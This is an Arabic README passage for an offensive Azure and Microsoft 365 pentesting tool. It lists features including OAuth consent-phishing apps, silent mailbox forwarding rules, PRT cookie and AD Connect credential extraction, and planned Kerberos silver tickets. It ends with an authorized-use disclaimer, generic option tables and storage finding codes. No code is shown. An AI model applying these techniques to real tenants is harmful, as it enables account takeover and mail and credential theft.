- [x] حقن تطبيق تصيّد موافقة OAuth (`entra phish-app`): تطبيق متعدد المستأجرين + عناوين URL للموافقة + ملتقط رمز محلي لعنوان URL للرد (`Invoke-InjectOAuthApp`)
- [x] استمرارية صندوق البريد (`m365 rules`): قواعد إعادة توجيه البريد الوارد الصامتة عبر Graph `messageRules`
- [x] نموذج الدليل دون اتصال (`scan dump`/`scan query`): دليل كامل + رسم هجوم إلى SQLite بلغة Go الصرفة (`modernc.org/sqlite`)، 13 عرضًا تحليليًا جاهزًا
- [x] مساعدات Windows على المضيف: استخراج ملف تعريف ارتباط PRT عبر BrowserCore (`prt extract`)، استخراج بيانات اعتماد مزامنة AD Connect (`adconnect sync-creds`)، DPAPI (`CryptUnprotectData`) — بوسم البناء، إرشادات no-op خارج Windows
- [ ] `prt request`: الحصول على PRT حقيقي من جهاز مسجّل (يسلسل تسجيل الجهاز → ملف تعريف ارتباط KDF v2)
- [ ] تذكرة فضية Kerberos لـ Seamless SSO؛ تسجيل مفتاح WHfB
- [ ] *فك تشفير* بيانات اعتماد مزامنة AD Connect (حاليًا يستخرج الكتلة المشفرة → تسليمها إلى AADInternals)

---

## الترخيص

صدر بموجب [MIT License](https://github.com/hac01/azure-pentesting-suite/blob/main/LICENSE).

`azpt` أداة أمن هجومية مخصصة للاختبار المصرّح به فقط.
استخدمها حصريًا ضد المستأجرين والاشتراكات التي تملكها أو لديك إذن
كتابي صريح لتقييمها. أنت مسؤول عن كيفية استخدامك لها.
تنزيل الأداة
الخيارالوصف
--targetالهدف المراد فحصه (نطاق أو عنوان IP)
--targetsملف يحتوي على قائمة الأهداف
--outputملف الإخراج للنتائج
--formatتنسيق الإخراج (json، csv، xml)
--threadsعدد الخيوط المتزامنة
--timeoutمهلة الاتصال بالثواني
--verboseتمكين الإخراج المفصل
--configمسار ملف التكوين
الخيارالوصف
--targetالهدف المراد فحصه
--targetsملف يحتوي على قائمة الأهداف
--depthعمق الفحص (الافتراضي: 2)
--threadsعدد الخيوط المتزامنة
--outputملف الإخراج
--formatصيغة الإخراج (json, xml, csv)
--configملف التكوين
--verboseوضع الإخراج المفصل
--quietوضع الصمت
المعرّفالخطورةالمعنى
STOR-001عاليةحساب التخزين يسمح بالوصول العام (المجهول) للـ blob
STOR-002متوسطةنقل HTTPS فقط غير مفروض
STOR-003متوسطةالحد الأدنى لإصدار TLS أقل من 1.2
STOR-004منخفضةالوصول عبر المفتاح المشترك (مفتاح الحساب) مُفعَّل
STOR-005متوسطةالتخزين يمكن الوصول إليه من جميع الشبكات (جدار الحماية يسمح افتراضيًا)
BLOB-001متوسطةالحاوية تسمح بالسرد المجهول
BLOB-002منخفضةإصدارات الـ blob مُفعَّلة (قد يكون السجل قابلًا للاسترداد)
BLOB-003متوسطةإصدارات الـ blob التاريخية قابلة للاسترداد بشكل مجهول
BLOB-010متفاوتةملف حساس مكشوف بشكل مجهول (الخطورة من المصنّف)